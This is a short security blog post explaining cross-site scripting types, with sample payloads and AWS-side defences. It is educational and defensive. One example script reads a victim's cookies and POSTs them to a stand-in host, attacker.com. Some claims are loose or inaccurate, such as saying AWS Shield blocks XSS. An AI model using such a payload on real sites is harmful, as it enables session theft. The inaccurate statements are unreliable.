AWS Security Stories #04.3: OWASP - XSS
Tags: aws, security, community, owasp
Published: 2023-01-11 09:22:21

## What is XSS?
Cross-Site Scripting (XSS) is a type of web application vulnerability that allows an attacker to inject malicious scripts, such as JavaScript, into a website viewed by other users. These scripts can be executed by the user's browser and can be used to steal sensitive information, such as cookies and session tokens, redirect users to malicious websites, or perform other malicious actions.

The vulnerability is caused by a lack of proper input validation and sanitization in the website's code, which allows an attacker to insert their own scripts into the website by manipulating user input fields, such as search boxes and form fields. These scripts are then executed by the browser when the affected page is loaded, allowing the attacker to access the user's data or manipulate the website's content.

There are several types of XSS attacks, including stored XSS, reflected XSS, DOM-based XSS, and phishing-based XSS. Stored XSS occurs when an attacker is able to inject a malicious script into a website's database, which is then executed every time the affected page is loaded by a user. Reflected XSS occurs when an attacker is able to inject a malicious script into a website's input fields, such as a search box, which is then immediately executed when the user submits the form or clicks a button. DOM-based XSS occurs when an attacker is able to manipulate the Document Object Model (DOM) of a website in order to inject a malicious script. Phishing-based XSS is a variation of the stored XSS attack, where an attacker uses a phishing email to trick the victim into clicking a link that will then trigger the injection of the malicious script.

XSS attacks are a serious security concern for web applications and can result in the theft of sensitive user data and other malicious actions. It's important for web application developers to take steps to prevent XSS attacks by thoroughly validating and sanitizing user input, using a Content Security Policy (CSP), and using security libraries and frameworks to implement best practices for input validation and sanitization. Additionally, it is also important to keep your applications and frameworks up-to-date and use the appropriate security features provided by the hosting platform.

## Examples of XSS attacks
**1. Stored XSS:** A stored XSS attack occurs when an attacker is able to inject a malicious script into a website's database. This script will then be executed every time the affected page is loaded by a user.

```
<script>
    alert("XSS Attack!");
</script>
```

**2. Reflected XSS:** A reflected XSS attack occurs when an attacker is able to inject a malicious script into a website's input fields, such as a search box. This script is then immediately executed when the user submits the form or clicks a button.

```
<script>
    alert("XSS Attack!");
</script>
```

**3. DOM-based XSS:** A DOM-based XSS attack occurs when an attacker is able to manipulate the Document Object Model (DOM) of a website in order to inject a malicious script. This type of attack does not involve the website's server, and instead relies on the client-side code of the website.
```
<script>
    location.hash = "#xss";
    alert("XSS Attack!");
</script>
```
**4. Phishing-based XSS:** Phishing-based XSS is a variation of the stored XSS attack, where an attacker uses a phishing email to trick the victim into clicking a link that will then trigger the injection of the malicious script.
```
<script>
    alert("XSS Attack!");
</script>
```
**5. Cookie-based XSS:** A cookie-based XSS attack occurs when an attacker is able to inject a malicious script into a website that then reads and exfiltrates the victim's cookies.
```
<script>
    var cookies = document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://attacker.com", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("cookies=" + cookies);
</script>
```

## XSS protection methods on AWS
**1. Input validation and sanitization:** This method involves thoroughly checking and cleaning all user input before it is processed by the website. This can include removing or encoding special characters that are used to inject scripts, and limiting the allowed input to a whitelist of known safe values.

**2. Use of Content Security Policy (CSP):** CSP is a security feature that allows website developers to specify which sources of content are allowed to be loaded by the browser. This can be used to block scripts that are loaded from untrusted sources, effectively preventing XSS attacks.

**3. Use of Encrypted Communication:** HTTPS (HTTP Secure) encrypts the communication between the user and the server, so the attackers can't intercept the traffic and steal sensitive information. Also the new feature in AWS is HTTPS by default for Application Load Balancer and CloudFront.

**4. Use of Amazon AWS WAF:** AWS Web Application Firewall (WAF) is a service that allows you to create rules that can block known XSS attack patterns. It also allows you to monitor your logs to detect any potential threats that may have been missed by other methods.

**5. Use of Amazon AWS Shield:** AWS Shield provides protection against DDoS attacks, it also provide protection against common web-application attacks such as XSS and SQL injection.

**6. Use of server side security libraries and frameworks:** AWS Elastic Beanstalk and AWS Lambda are both platforms that enable to use well-known server-side security libraries and frameworks such as OWASP ESAPI and Spring Security. These libraries and frameworks offer many functions for protection against XSS attacks such as input validation and sanitization, and creating custom defense rules.

It's also important to keep in mind that XSS is just one of many types of web application security threats, and a multi-layered approach to security is always recommended. This may include regular security audits, penetration testing, and an incident response plan.